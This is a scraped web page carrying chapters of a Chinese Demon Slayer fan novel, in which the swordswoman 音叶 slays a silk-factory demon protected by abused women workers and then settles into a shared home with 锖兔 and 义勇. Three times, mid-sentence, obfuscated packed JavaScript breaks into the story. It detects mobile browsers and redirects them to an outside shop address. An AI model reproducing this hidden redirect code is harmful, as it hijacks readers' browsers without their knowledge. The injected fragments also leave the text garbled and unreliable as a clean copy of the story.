;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375040|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们七嘴八舌,不一样的声音穿进音叶耳朵里。一批人说监工是恶有恶报,另一批人则说厂里真的闹了脏东西,也有人一言不发,只是加快了手里的动作。 音叶没有加入议论,只是默默干活,同时不动声色地观察着每一个人。她的目光温柔,扫过一张张疲惫的脸。 身边的女工手抖得厉害,蚕丝刚捞起来就滑落,音叶便轻轻接过,帮她绕在木架上,柔声说:“慢点,不着急。” 美月耷拉着脑袋,眼底满是害怕,手里的动作慢了下来。音叶轻轻碰了碰她的胳膊,轻声安慰她。 “别害怕,”音叶说,“有我在,不会有事的。” 美月抬头看她,见她眼神温柔又坚定,悬着的心竟慢慢安定了些。她点了点头,重新握紧了手里的蚕丝。 傍晚下工,太阳已经落山了,天边只留一抹残红。女工们拖着疲惫的身子回到长屋,往日沾枕就睡的她们,今夜个个辗转难眠。 音叶躺了一会儿,感受着身边人带来的不安。她知道,想要找到鬼,就必须先解开深夜女工的诡异举动,自然也就知道了其他五个男工的去向。 她轻轻侧过身,朝着身边的女工轻声开口,语气随意,尽量让自己说话像聊家常一样:“我前几日路过厕所后面,看见一间低矮的木板房,听人说那是惩戒室。那是什么地方呀?看着怪冷清的。” 身边的女工愣了一下,转头看她。见音叶笑容温和,眼神里满是好奇,没有丝毫恶意,才慢慢放下戒备,压低声音说:“你问那个做什么呀?那地方邪乎得很,大家都不愿提。” “就是偶然看见,有点好奇。”音叶笑了笑,眉眼弯弯,“我看那屋子锁着,门都快烂了,想着应该不是什么好地方。” “确实不是,”那女工叹了口气,声音更低了,“那是厂长和监工罚人的地方,但凡有不听话的,或是手上动作慢一些的,都会被关进去。” “会关很久吗?”音叶的声音软下来,满是共情,“被关在里面,一定很害怕吧。” “现在已经不怎么用了,”女工摇了摇头,声音发颤,“都是直接拿鞭子抽,不关进惩戒室了,听说之前的监工没把握好力度,闹出过人命。” “那里面是什么样子的?”音叶追问。 “谁也不知道,”另一个女工凑了过来,接过话头,她轻轻拽了一下刚刚跟音叶聊天的女工,尽管动作很轻,但是音叶还是瞟见了,那两个人都不动声色地沉默下来。 长屋里安静了几分,只有沉重的呼吸声。 音叶躺在铺位上,望着黑暗中的房梁,脑海里的碎片瞬间串联在一起。 惩戒室、闹出过人命、惨死的监工、蚕丝做的勒痕、非人般的齿痕、深夜里反复去厕所的女工…… 所有的线索,像一根根蚕丝,紧紧拧在了一起。 鬼,很有可能就在惩戒室里。 音叶猛地坐起身,眼神瞬间变得紧张,她抓起枕边的日轮刀,没有丝毫犹豫,推开房门,朝着厕所后面的惩戒室冲去。 夜色深沉,月光洒在惩戒室的木板上,映出斑驳的影子。那扇低矮的木门虚掩着,门缝里透出一丝微弱的光,还飘出一缕淡淡的、属于鬼的腥甜气息。 音叶握紧日轮刀,她深吸一口气,抬脚狠狠一脚踹开了木门。 门开的瞬间,一股浓烈的血腥味与鬼的腥气扑面而来,让她瞬间绷紧了全身。 厂长被细细的蚕丝狠狠勒着脖子,悬在半空中。蚕丝深深嵌进他的皮肉里,勒得他脸色青紫,眼球凸出,舌头伸出来,看起来已经没有呼吸了。他的死状,与监工如出一辙。 而蚕丝的另一端,正握在一个女人的手里。 女人站在惩戒室的角落里,穿着一身破烂不堪的制丝厂工服。衣服上满是污渍与裂口,露出的皮肤上,布满了旧伤与新痕。她的头发散乱地贴在惨白的脸上,身形单薄得仿佛一阵风就能吹倒。 蚕丝从她的指尖延伸而出,在空中盘旋。一根勒死了厂长,两根缠在房梁上,固定着她的身形。 音叶缓缓抬起头。 一双金色的、属于鬼的瞳孔,在昏暗的光线下,闪着阴冷的光。瞳孔里没有理智,也没有嗜血的杀意,只有复仇的疯狂与冰冷的恨意。 20. 频频出事的纺织厂(三) 金色瞳孔的女工,或者说是鬼更为合适,似乎丝毫不意外音叶的到来。 “你来了,”她轻声开口,声音沙哑,“你们负责斩鬼的人,终究还是没有打算放过我。” 音叶指尖攥紧刀柄,用的力气过大,指尖泛出青白色,掌心流的汗湿了刀柄。她看着那双眼睛,心口莫名一滞,却还是握紧了刀柄,随时做好战斗状态。 “你看起来年纪不大,”女鬼垂眸扫过她,目光在她沾着尘灰的发顶停了一瞬,语气里裹着说不清的涩意,“这样小的孩子,就被牵扯进来了吗?” 音叶缄默不语,只将刀尖往地面压了压,发出一声轻响。 女鬼靠回墙面,紧绷的肩膀在这一刻送开,五根丝线瞬间垂落下来。厂长的尸体重重砸在地上,发出一声沉闷的巨响,惊得屋角的蛛网轻轻晃动。 “我不杀你,”她道,指尖无意识地摩挲着残破的袖口,“你现在就收拾行李离开,我就当你从来没有来过,回到生你养你的地方,那里……总比这里安全。” 音叶抬眸,望进她鎏金的眼眸里,声线平稳:“我是鬼杀队的剑士,斩鬼,是我的职责。” 女鬼的鎏金眸色微缩,像是被这两个字刺了一下。 “职责。”她低声重复音叶口中的话,嘴角扯出一抹极淡的、带着自嘲的笑,“你有你的职责,那你知道这厂里的女工都经历了什么吗?” 音叶没有回应,她将日轮刀拔鞘而出,已经做好了战斗的准备。人固然可怜,但是鬼还是要杀的。 女鬼的指尖骤然收紧,泛白的指节绷起。一根丝线自暗处迅猛窜出,带着破风的轻响。 音叶的脚踝被死死缠住,她根本来不及反应,整个人被猛地向后拽倒,后脑重重磕在木板地面,一时间看不清眼前,耳中嗡嗡作响。 女鬼从上方扑杀而来,她的速度快得骇人,仅仅只是一眨眼的功夫,便凑到音叶面前。惨白的脸凑近,唇瓣张开,露出尖利的獠牙。 音叶拼尽全力向旁翻滚,獠牙擦着她的耳侧啃下,重重撞在木板上,发出闷哑的声响,木屑纷飞。 她接连后退,直至后背狠狠撞在墙面,额头磕到木板凸起的边缘,一阵尖锐的刺痛传来。温热的血顺着眉骨往下淌,滴落在衣襟上,晕开一小片暗红。 她顾不上擦拭,反手握住刀柄,撑起身子。 女鬼再度扑来,指尖的丝线带着凛冽的寒意。可惩戒室太过狭小逼仄,五根丝线在窄窄的空间里横冲直撞,显然已经没有了章法,反倒缠上了女鬼自己的脚踝与手腕。她踉跄了一下,攻势顿了半拍。 就是那一个小小的空隙,音叶抓住这转瞬即逝的破绽,翻身跃起。 三根丝线同时缠上她的手腕,女鬼站在她几步开外的地方,指尖骤然收紧。丝线勒进皮肉,疼痛让音叶倒吸一口冷气,可她眼底没有半分慌乱,只有一片清明。 “霖之呼吸——一之型·细雨归尘!” 清喝声在狭小的惩戒室里炸开,带着少年人独有的清亮与决绝。刀锋顺势轻掠,如碎雨坠地,裹挟着清冽的水汽,三根缠腕的丝线应声齐断。 女鬼愣了一瞬,低头看着自己断落的丝线,又抬眼望向音叶,鎏金眼眸里满是错愕,还有一丝不易察觉的惋惜。 “你……你倒真是厉害。” 音叶稳稳站定,刀尖直指她的咽喉,就在她要再次使出剑法的前一刻,女鬼下意识后退一步,脊背抵上冰冷的墙壁。 她环顾四周,这惩戒室太小太窄,是她亲手选的囚笼,如今,却成了困住自己的网。而眼前的少女,刀法快得超乎想象。 生命受着威胁,她几乎瞬间做好了决定,猛地转身,肩膀狠狠撞向那扇破旧的木门。木门应声碎裂,木屑混着灰尘在空气中飞扬掉落。 她冲了出去,身影很快没入车间的黑暗。 音叶紧随其后,日轮刀的刀身划破夜色。 主车间空旷开阔,老旧机器的铁架上锈迹斑斑,煮料大锅的内壁结着厚厚的垢。月光从窗外照射进来,映得房梁垂落的丝线密密麻麻,宛若一张遮天蔽日的巨网,将整个车间罩在其中。 女鬼利用血鬼术让自己吊在车间的正中央,双臂平展,脊背挺得笔直。十根丝线从她指尖延伸,每一根都绷得紧紧的。很显然,这个操作间对她来说更有利,这也是她刚刚逃跑的原因。 她的额角,滴下几滴汗珠,与音叶的战斗已经让她耗费大量体力——看来鬼杀队的判断确实没错,她不过是一个拥有微弱血鬼术、实力很弱的鬼。 “现在不一样了,你想走也走不掉了,”她淡淡开口,声音里带着一丝不易察觉的颤抖,“这里是我的战场……” 十根丝线从四面八方骤然袭来,快得像离弦的箭。音叶侧身躲过两根,挥刀格开两根,另有两根擦着脸颊飞过,她感到一阵疼痛,不用想就知道脸上肯定被划破了,只是没关系,很快就会愈合。 更多的丝线蜂拥而至,织成一张密不透风的网。音叶被逼得连连后退,后背几乎贴上冰冷的机器外壳。 太快了、太多了,再加上操作间过于昏暗,她根本看不清所有丝线的轨迹,只能凭借直觉躲闪。 她深吸一口气,闭上眼,从肺部流出一阵气息,晚风从窗缝钻进来,拂过她的发梢。 “霖之呼吸——八之型·烟雨幕!” 声音清冽而坚定,在空旷的车间里荡开回音。话音未落,日轮刀带起一阵风,淡白水汽弥漫开来,将她周身笼起一层轻薄的雨帘,淡淡的,带着雾气,让人捉摸不定。靠近的丝线被瞬间绞成碎末,落在地上。 女鬼的攻势被死死挡住。 可音叶清楚,这撑不了多久。水汽在她周身萦绕,耗损着她的体力。 她在雨幕中睁开眼,紧盯女鬼的动作。 十根丝线,同步操控,每一根都精准、迅猛、致命。可每一轮攻势过后,女鬼的肩膀都会微微晃动,指尖的动作会慢上一瞬,她已经是强弩之末,满手尽是破绽。 音叶一瞬间明白了,她借着废丝堆的掩护,在丝线的缝隙里闪躲前进,不停缩短自己与女鬼之间的距离,目光没有离开过她的指尖。 女鬼瞬间识破她的意图,丝线攻势愈发密集,像暴雨般落下。 可她的速度越来越慢,丝线的准头也渐渐下降。对于一个拥有微弱血鬼术的鬼而言,同时操控十根丝线,消耗太过巨大。她的鎏金眼眸里,疲惫越来越浓,汗滴从额角蔓延到脸颊。 音叶抓住空隙,脚尖点在废丝堆上,纵身跃起,径直冲到她面前:“霖之呼吸——五之型·霖铃响!” 音叶的刀锋骤然急颤,最后几道挡路的丝线应声齐断,断口处的白气随刀风微微飘散。 刀尖直逼女鬼的咽喉,距离不过半寸。 女鬼立在原地,双手垂落,不再有任何动作。十根丝线软塌塌地落在地上,像断了线的风筝,渐渐失去了光泽。 她望着音叶,鎏金眼眸里没有恐惧,没有不甘,依旧是那片深不见底的疲惫,还有一丝释然。 “动手吧。”她说,声音轻得像叹息。 音叶的刀尖,停在她咽喉前的一瞬,她举起日轮刀,使出呼吸法。 就在这时。 “不要!” 一道哭喊声骤然炸开,像一把尖刀,划破了车间的死寂。 音叶偏头,看见瘦小的身影从废丝堆后扑出。美月的头发散乱,圆圆的脸上挂满泪珠,眼眶红得像要滴血,她张开双臂,死死挡在女鬼身前,指甲抠进自己的掌心,留下深深的印子。 音叶的刀顿住,只能往回收一些,怕伤害到这个无辜的女生。 “美月……”她轻声唤道,语气里带着一丝不易察觉的复杂。 “不要杀她!”美月哭喊着,声音又尖又哑,嗓子已经破了,“求你,别杀她!” 音叶望着她,月光落在美月泪痕未干的脸上,映着她通红的眼。明明自己也在害怕,却毅然决然地站出来,脊背挺得笔直,半步不肯退让。 “你知道她是什么吗?”音叶轻声问。 “我知道,”美月哽咽着,泪水顺着脸颊滑落,砸在地上,“静子她是鬼。” “她杀过人。” “她杀的,都是该死的人!” 美月的声音陡然拔高,带着歇斯底里的绝望与愤怒。她指着厂长死去的方向,眼泪流得更凶,却依旧死死挡在静子身前,分毫不让。 “那个监工,打死过多少姐妹你知道吗?阿花被他关在惩戒室三天,最后那天,她还拉着我的手说想喝口热粥,可她连一口凉水都没等到,就活活被打断了气,她死的时候,眼睛都还是睁开的!” “厂长克扣我们的工钱,逼我们一天干七个时辰,小春的妈妈累倒在机器前,连最后一口气,都是在这冰冷的车间里咽的……累死的人连口棺材都没有,更别提赔偿金了……她们都被拖去乱葬岗扔了……” 她指着车间各处的黑暗角落,那些她曾和姐妹们偷偷抹泪、互相取暖的地方。 “她们都知道……我们都受过那些人的欺辱,我们哭过,求过,闹过,可从来没有人帮我们……从来没有!” 音叶顺着美月的手望向那些阴影处。 女工们纷纷从不同角落陆续走出来,没有人说话,却意外地坚定,死死盯着音叶的刀,她们静静站在那里,围成一个圈,望着音叶。 美月的声音软下来,化作细碎的、撕心裂肺的哭腔。 “我未婚夫死了。” 音叶的呼吸,微微一滞,刀尖轻轻晃了一下。 “他……”美月的声音顿了顿,哽咽得几乎说不出话,她从怀里掏出一张揉得皱巴巴的信纸,那是她还没来得及寄出去的信,“他死在战场上了,三个月前就死了,我今天才知道。” 她捂住嘴,拼命压抑着哭声,肩膀剧烈地颤抖。 “我每天都给他写信,一封又一封,藏在枕头底下。我想着,等攒够了钱,就买一间小屋子,等他回来,我们就过安生日子。我以为他知道我在等他,我总以为他会平安回来……” 眼泪从指缝里汹涌涌出,打湿了那张信纸。 “可他不在了,什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375041|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都没了,我攒的钱也被厂长扣了大半……我什么都没有了……” 她抬起头,泪眼婆娑地望着音叶,眼底满是哀求。 “可是她还在这里。” 她指向身后的静子,声音里带着依赖与感激,“她从来没想过要伤害我们,我们把自己割伤,想让她和我们的血肉,她从来都不愿意喝……厂长逼着我们连夜赶工,快撑不住的时候,是她弄断了机器的传送带,让我们能歇一口气。” “静子是鬼,可她救了我们。” 美月哭得浑身发抖,却依旧半步不退,她看着音叶的刀,一字一句地说:“你要是杀她,就把我一起杀了吧。” 音叶沉默着,风从窗外吹进来,拂动着地上的碎丝线,也拂动着她额角的碎发。 女工们依旧站在原地,没有人说话,但是她们表现出来的意思音叶已经明白了。她们望着音叶,眼神坚定。 静子站在美月身后,双手垂落,再未操控过半根丝线。她望着美月单薄的、颤抖的背影,鎏金眼眸里的光闪了闪。她张了张嘴,想从喉咙里发出什么声音,却终究什么也没说出来,只是轻轻摇了摇头。 音叶紧紧握着日轮刀,指尖泛白。 美月的哭声渐渐低了下去,但是她当在静子面前,一动不动。 “让开。”她开口,声音沙哑,带着一丝不易察觉的疲惫。 美月纹丝不动,依旧张开双臂:“求你了……” 音叶往前踏出一步,脸上泛起青筋,想要唤醒这个无知的女孩:“她是鬼!她会吃人的!她现在没有吃你们是因为还有那些男工,等那些男工都消失了,她饿得走投无路时,你以为她会放过你们吗?她还是会吃了你们……!” 美月依旧死死挡在前面,哪怕浑身抖得更厉害,也没有丝毫退缩。 音叶伸出左手,轻轻拨开她,美月被拨到一旁,踉跄了一下,她想再冲上来,可音叶的刀,已经再次指向了静子:“霖之呼吸——六之型·水镜映。” 这一次,她的声音里没有了战斗的锐势,只剩不容置疑的决绝,刀势干净利落,没有一丝拖泥带水。 刀锋落下,静子的脖颈被斩断。 没有鲜血喷溅,只有淡白的灰烬自伤口缓缓飘散,带着淡淡的、类似丝线燃烧的味道。 静子僵立在原地,她没有倒下去,只是缓缓抬起头,望向音叶,鎏金眼眸里带着一丝感激。随即,她的目光移向跪地的美月,唇瓣轻轻动着:“美月……” 静子凭借着最后的力气看向在场的女工:“还有你们……都好好地……生活下去……” 灰烬越落越多,从她身上簌簌飘下,落在美月的头发上,跪在地上的女孩更崩溃了,嚎啕大哭起来。 静子望着美和周遭的女工,唇角微微弯起,露出一抹极淡的、温柔的笑,在她消散的最后一刻,她又变回了那个人类静子,在她最熟悉的环境下死去。 然后,她的身影越来越模糊,最终彻底散作漫天飞灰,只余下几片褴褛的女工制服,落在冰冷的地面上。 美月还在哭。 音叶立在原地,握着刀,一动不动。 过了许久,一位年纪稍长的女工走上前。她的头发里藏着银丝,脸上布满了岁月的沟壑与劳作的痕迹。她站在音叶面前,静静望着她,目光复杂。 “厂长……也没了?”她的声音很轻,带着一丝试探,也带着一丝期待。 音叶轻轻点头,没有说话。 女工沉默片刻,她的目光扫过音叶,又扫过厂长死去的方向,最后落在车间外的夜色里。她似乎想起了什么,眼里闪过一丝光亮。 她看向音叶,轻声问了一句,语气笃定得不像疑问:“他的办公室,在哪边?” 音叶的目光与她交汇,那双清澈的眼眸里,没有阻拦,只有一丝淡淡的示意。她抬了抬下巴,指向车间最里面的方向,声音很轻:“第三间,门没锁。” 说完,她便移开了目光,望向窗外的天色。东方已经泛起了一丝鱼肚白。 年长女工看懂了她的意思,眼中的光亮更甚。她对着音叶,深深鞠了一躬,然后转身,朝着车间西侧走去。 走了几步,她回头看了音叶一眼,嘴唇动了动,最终还是只轻轻吐出两个字:“谢谢。” 随即,她的身影消失在车间的拐角。 随后,女工们一个接一个地离开,朝着车间深处走去。 厂长死了,办公室的门没锁。那些被克扣的工钱终于可以拿回来了。她们可以带着属于自己的东西,离开这个吃人的地方,去往真正安全的地方。 美月依旧跪在原地,抱着地上破旧的女工制服,将脸埋在里面,身体一颤一颤地抽搐。 音叶转身,日轮刀被她收入刀鞘。她走到美月面前,声音轻得融进晨风里,却清晰地传到了美月的耳中:“走吧,趁天还没大亮,越远越好。” 美月缓缓抬起头,望着音叶,她已经打算离开了,对美月告了别。美月看向车间深处的方向,眼泪依旧在流,可她的眼里,却终于有了一些轻松与释然。 21. 他们的家 音叶回到鬼杀队的时候,已经是傍晚了。 庭院里仍有剑士在练刀,刀锋破风的脆响一声接着一声,一切都和她出发前一模一样,秩序井然,平静得仿佛从未有过血腥与离别。 音叶站在开阔的庭院中央,忽然不知道该往哪里去。 那场与丝线之鬼的战斗,其实一点也不难。 静子是个血鬼术很微弱的鬼,实力也不强大,即便操控十根丝线在车间织成巨网,也只是麻烦,算不上威胁。 她的霖之呼吸早已纯熟,日轮刀应对静子的丝线绰绰有余,呼吸流转比静子使用的血鬼术更稳。在这一场战斗中,她赢得很彻底,并没有受很严重的伤,甚至没有激战,轻而易举地就打败了女鬼静子。 可她心里还是堵得慌,沉闷在心底压着,连呼吸都带着轻微的滞涩。 爷爷只教过她们怎么样斩鬼,握刀、剑法、呼吸法,她都牢记在心。 可爷爷从来没有教过她,原来鬼也可以满眼疲惫,没有半分嗜血,也可以为了一群和她同样遭遇的人不惜暴露自己。 明明把恶鬼斩杀了,为什么心里还是那么难受? 音叶漫无目的地站着,周围的人从她身边走过她也浑然不知。 就在这时,一道黑影从上空轻轻掠过,锖兔的鎹鸦黑丸站在她面前不远处的树枝上。 黑丸只是低头看了她一眼,声音简洁平淡,不带多余情绪:“锖兔让我来,你跟着我走。” 说完,它便振翅飞起,飞得并不快,还时不时回头看一眼音叶有没有跟上,摆明了是在等她,没有多余的寒暄。 音叶沉默地跟上,穿过总部大门,走过两条临街,再拐进一条爬满青藤的小巷,黑丸最终落在一扇朴素的木门前。 “到了。” 它只丢下两个字,便转头飞向院门内,不再多言。 音叶轻轻推开门。 很标准的一户建,一方小巧整洁的庭院,院角种着几株浅草,石径扫得干干净净。 锖兔正站在院子中央,手里拿着一块抹布,脸颊沾了点灰,看见她进来,立刻扬起笑:“来了?正好,差一点收拾完,进来歇着。” 音叶走进院子,心头那股沉甸甸的闷,莫名轻了一丝:“这里……?” “租的房子,”锖兔把抹布搭在绳上,“离总部近,出任务不用来回往山上赶,方便休息,我和义勇商量了很久才定下。” 他抬手指了指三间房间:“我住左边,义勇住右边,中间那间是你的。” 音叶的目光落在正中间的屋子。 它的窗户比左右两间都更宽大,正朝东方,此刻夕阳正斜斜打在窗格上,染得整片窗棂都暖融融的。 “这间……” “这间屋子正对着太阳,”锖兔笑了笑,故意压低声音,“早上太阳一出来就照满整间屋,暖和。” 他顿了顿,往右侧门口瞥了一眼:“可不是我挑的。” 音叶顺着他的目光看去。 义勇正站在右边那间屋的门口,背对着院子,身形挺直,黑发扎在脑后。明明只是安静站着,耳尖却微微泛红,像被夕阳烫到一般。 “是义勇挑的?” “嗯,”锖兔点头,“他跑了好几处院子,比来比去,就认准这间朝东,说光照好,适合养神。” 音叶没说话,只是望着那扇宽大的窗。 她眼前浮现出清晨的阳光铺满榻榻米、落在桌角的样子。 “进去看看。”锖兔推了推她。 音叶走到门前,轻轻推开门。 屋子不大,却收拾得一尘不染。一张木床、窗边一张小桌,宽大的木窗正对庭院,一眼就能看见全院的光景。 她站在窗边往外看。 义勇还站在原处,低着头,像是在看地面的纹路。察觉到她的视线,他猛地抬头。 四目相对。 义勇整个人顿了一瞬,海蓝色的眼眸微微睁大,下一秒便慌忙低下头,转身快步走进自己的屋子,轻轻关上了门。 …… 天色彻底暗下来,月光流淌着,轻轻覆在庭院里。 三人围坐在石桌旁。 锖兔把最后一块抹布晾好,随口说着最近的任务:“都是些不成气候的小鬼,我和义勇两三下就解决了,回来还有空收拾屋子。” 音叶安静地听着。 锖兔淡淡扫了义勇一眼:“他最近练得很拼,”他轻声道,“天天半夜都在院子里。” 音叶闻声,目光轻轻落在义勇身上,义勇却只是垂着眼。 “半夜?” “嗯,”锖兔颔首,“我夜里起身,总能看见他在这儿挥刀,水之呼吸的十个型,一遍又一遍,反复打磨。” 他顿了顿,声音放得更轻:“比最终选拔时流畅多了,那时还会滞涩一瞬,现在……半点卡顿都没有。” 音叶静静望着义勇。 月光漫过他清瘦的侧脸,神情淡得看不出波澜,可握着水杯的手指,却极轻地、几不可察地蜷了一下。 一旁的宽三郎缓缓睁开一只眼,嗓音低哑平静:“义勇很厉害,也很拼命。” 义勇依旧沉默,一言不发。 屋檐下,三只鎹鸦安静地待在一起。三只鎹鸦各归其主,互不打扰,却又安安稳稳地待在同一片屋檐下,像它们的主人一样。 音叶做了很久的挣扎,才轻轻开口:“那个鬼。” 锖兔立刻收了笑,认真看过来。 义勇也放下手中的水杯,抬眼望向她。 “是个女人,”音叶的声音很轻,“死了之后变成鬼,在丝绸工厂里杀人。” 她顿了顿,喉咙微微发涩:“她杀的,全是欺负女工的人。监工、厂长、动手虐打过她们的男工……一个没留。” “那些女工都护着她,”音叶轻声说,“我挥刀的时候,有个叫美月的小姑娘冲过来,挡在她前面,哭着求我别杀她。其他女工也全都从阴影里走出来,围着她,希望我能够别杀她。” 锖兔皱起眉:“护着鬼?” “嗯,”音叶点头,“那个鬼替她们报了仇,让那些施暴的人付出了代价。她们感激她,依赖她,就算知道她是鬼,也不肯让开。” “我还是杀了她。” 她的声音很轻,却重得像压着石头:“一刀,斩断脖颈。她没有反抗,只是看着那个护着她的孩子和女工们,让她们好好生活。” 院子一下子安静下来。 锖兔看着她低落的样子,认真开口:“那你在难过什么?她杀过人,她是鬼,你是鬼杀队剑士,斩鬼是你的职责。你没有错,一点错都没有。” “我知道。”音叶低声说。 音叶张了张嘴,却说不清那股难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375042|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受究竟是什么。道理她全懂,可心里还是难受。 这时,一直沉默的义勇忽然开口。他没有看她,只是望着院子里的花,声音低而清晰:“因为那些女工。” 音叶猛地看向他。 “你看见她们护着鬼,看见她们的绝望,”义勇缓缓说,“你杀了那个鬼,她们会崩溃,会伤心。你看见了她们的难过,所以你也跟着难过。” 一句话,点破了她憋了这些天的迷茫。 原来她不是愧疚斩鬼,是心疼那些走投无路的人,连一点点虚假的光,都被她亲手熄灭。 义勇转过头,海蓝色的眼睛里,有她从未看懂过的深:“我也这样过。” 音叶一下子想起他的过去——想起他曾经挂在嘴边的死的人还不如是我,想起他独自站在山顶看日落时的眼泪,想起他藏在沉默下的痛。 “你没错,”义勇看着她,语气坚定,“但难过,也正常。” 锖兔在一旁静静听着,没有插话。他比谁都清楚,这两个看似冷静的少年少女,心里都装着比常人更软的地方。 屋檐下,黑丸、悠子、宽三郎依旧安安静静待着,黑丸依旧高冷闭目,仿佛连人间心事都懒得听。 “我知道她迟早会被鬼的本能吞噬,”音叶低下头,“等到那些男工没有了……她迟早会吃掉那些护着她的女工,我一直这样告诉自己,我必须挥刀。” “可这些人不知道,在遇到静子之前,她们可能甚至连鬼是什么都不知道,”她的声音微微发颤,“她们只知道,是静子救了她们,拯救她们于水火之中……我动手的时候,她们哭得……很惨。” 义勇沉默片刻,再开口时,声音轻得像风:“我姐姐离开的时候,我只想杀了那只鬼,所以拜鳞泷师父为师。” 他顿了顿:“可真的遇到鬼把他们杀了才明白,就算鬼死了,被他吃掉的人也不会回来。” 他看向音叶,眼神温柔而笃定:“你斩了那个鬼,她不会回来,但那些女工还在。” “她们以后会像静子说得那样好好生活,这样就很好了。” 音叶看着他的眼睛,心底堵的那块石头,终于一点点松了。 她没有错。 “嗯。”她轻轻点头,眼底的阴霾散了大半,“谢谢。” 义勇的耳朵唰地一下又红了,立刻转过头,假装看月亮,不再说话。 锖兔看着这气氛,笑着站起身:“行了,心结解开就好。我去烧点热水,你们坐着歇会儿。” 他转身走进自己的屋,把安静的庭院留给两人。音叶坐在石凳上,连日来的紧绷终于一点点松开。 这几天她日夜颠倒,连夜赶路、挥刀斩鬼、被心事压得喘不过气,神经一直绷到极致,连一秒都没有真正放松过。 此刻回到家里,那根绷了太久的弦,终于彻底松了。 她站起身,对着义勇轻轻点了点头,没再多说什么,转身走向属于自己的那间房间。 推开门,白天残留的阳光气息还留在榻榻米上。 音叶轻轻关上门,简单的洗漱过后走到榻边。她甚至已经没有力气再收拾一下行李了,只是轻轻往后一躺,扯过被子盖在身上。 铺天盖地的困意将她整个人包裹,眼皮一沉,意识便瞬间沉了下去。音叶蜷缩在床榻上,就这么带着一身浅浅的疲惫与释然,沉沉昏睡了过去。 22. 月下戏院(一) 九月的阳光落在院子里,暖烘烘的。 音叶坐在廊下,背靠着柱子,看院子里的花,花大概是房东种的,大多已经败了,只有桔梗还开着。风吹过时,蓝紫色的花朵轻轻摇摆。 这么长时间里,难得三个人都在。 昨天回来的时候,锖兔那屋的灯还亮着。听见院门响,他探出头看了一眼,头发乱糟糟的,说了句回来了,又把脑袋缩回去。义勇那屋已经黑了,但窗户上有个影子,站了一会儿才消失。 而现在他们俩都在院子里。 锖兔蹲在那口小缸旁边,拿根树枝捅里面腌的萝卜。那是入秋时音叶从镇上买回来的,她曾经试图自己腌,结果腌出来的萝卜又苦又甜,她吃了一口就跑去吐掉,那缸萝卜最后喂了山里的野猪。 锖兔笑话了她整整三天,然后和音叶一起去街上买了一缸,现在他隔三差五就去捅一捅,也不知道捅什么。 义勇坐在另一边的廊下,靠着柱子,闭着眼睛晒太阳。日光在他脸上慢慢移动,从眉骨移到鼻梁,他连动都不动一下。 有鸟从头顶飞过去,叫了两声,声音落在空荡荡的院子里,很快被风吹散了。 锖兔把树枝一扔,走过来在音叶旁边坐下。木廊被他压得轻轻响了一下。 “你这次待几天?”锖兔问。 “不知道,”音叶说,“等悠子来报任务。” 锖兔点点头。过了一会儿,他开口:“义勇最近在琢磨新的招式。” 音叶看向他:“什么招式?” 锖兔朝义勇那边努努嘴:“他自己想的一个型,水之呼吸的十一之型。” 音叶愣了一下:“水之呼吸不是只有十之型吗?” “是,”锖兔说,“所以义勇还在琢磨,我觉得这是他对水之呼吸自己的理解。” 音叶看向义勇。 义勇没说话,只是看着院子里绽放的桔梗花。 “他自己想的?”音叶问。 “嗯,”锖兔拿着树枝在地上乱画,“琢磨好一阵了,每天晚上在院子里练,练到很晚。我看了几次,不是进攻的,好像是防守的。人不动,就在那儿站着,但周围所有杀伤力的东西都近不了身。” 音叶微微睁大眼睛:“防守的型?” “嗯,”锖兔说,“他跟我解释过一次,说什么……刀锋之外,方圆之内,皆不可侵……我没太听懂。” 音叶看向义勇。义勇还是那个姿势,坐得直直的,看着院子里的风景。 “是叫这个名字吗?”她问。 义勇沉默了一瞬,然后开口:“凪。” “风平浪静。”他说,“刀不动,鬼伤不了人。” 他垂下眼睫:“还没成。” 音叶看着他,阳光落在他侧脸上,把那层薄薄的绒毛照得发亮。他说话的时候没看她,还是看着院子里的花花草草。 “防守的型,”音叶说,“很少见。” 锖兔在旁边插嘴:“他说是为了保护。” “保护?” “嗯,”锖兔说,“我问过他,为什么想防守的型。他说,万一有人挡不住的时候,他可以挡。” 他朝音叶看了一眼:“没说谁……但我猜是我们。” 音叶怔住,义勇的耳廓染上一层薄红。 “音叶——!” 黑色的鎹鸦扑棱棱落下来,翅膀扇起的风掀动了音叶的碎发。悠子落在她肩上,爪子抓得有点紧。 “大阪道顿堀,废弃戏院月影座,失踪七个人。”悠子一口气说完,翅膀还没收拢,胸脯一起一伏,“联合任务,己级剑士鳞泷音叶,庚级剑士锖兔,庚级剑士富冈义勇,一起去,一起去!” 